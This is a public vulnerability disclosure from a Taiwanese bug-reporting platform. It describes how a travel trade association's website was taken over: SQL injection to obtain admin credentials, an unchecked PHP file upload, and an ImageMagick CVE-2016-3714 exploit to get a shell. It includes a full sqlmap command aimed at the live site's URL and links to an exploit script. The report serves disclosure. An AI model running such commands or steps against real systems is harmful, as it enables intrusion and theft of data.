Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00109
- Vendor: 新北市旅行商業同業公會
- Title: 新北市旅行商業同業公會 SQLi、任意檔案上傳與CVE-2016-3714導致RCE
- Introduction: SQLi、任意檔案上傳與CVE-2016-3714導致RCE
處理狀態
目前狀態
公開
Last Update : 2025/04/09
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2025/01/24 05:02:53 : 新提交 (由 {{萌新}} 更新此狀態)
- 2025/01/24 15:22:43 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/02/06 16:40:29 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/02/06 16:40:29 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/04/09 03:00:27 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-00109
- 通報者:nhd1261 ({{萌新}})
- 風險:嚴重
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://www.ntcata.org.tw/news_in.php?f_pno=aW5kZXgucGhw&f_anid=Mjk5NA==
https://www.ntcata.org.tw/admin/index.php
https://www.ntcata.org.tw/admin/index.php
敘述
SQLi:
Payload:
python sqlmap.py "https://www.ntcata.org.tw/news_in.php?f_pno=aW5kZXgucGhw&f_anid=Mjk5NA==" --base64 f_pno,f_anid --thread 10 --random-agent --batch --dbs
從SQL中找到管理員帳密,成功登入後台
https://www.ntcata.org.tw/admin/index.php
發現檔案上傳功能沒有任何檢查,於是上傳php檔嘗試取得shell,先上傳phpinfo,但發現能直接執行系統命令的函數都被禁止了,於是開始嘗試bypass。
發現有版本過舊的ImageMagick拓展,於是上傳以下腳本,成功取得shell。
https://github.com/Hood3dRob1n/CVE-2016-3714
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。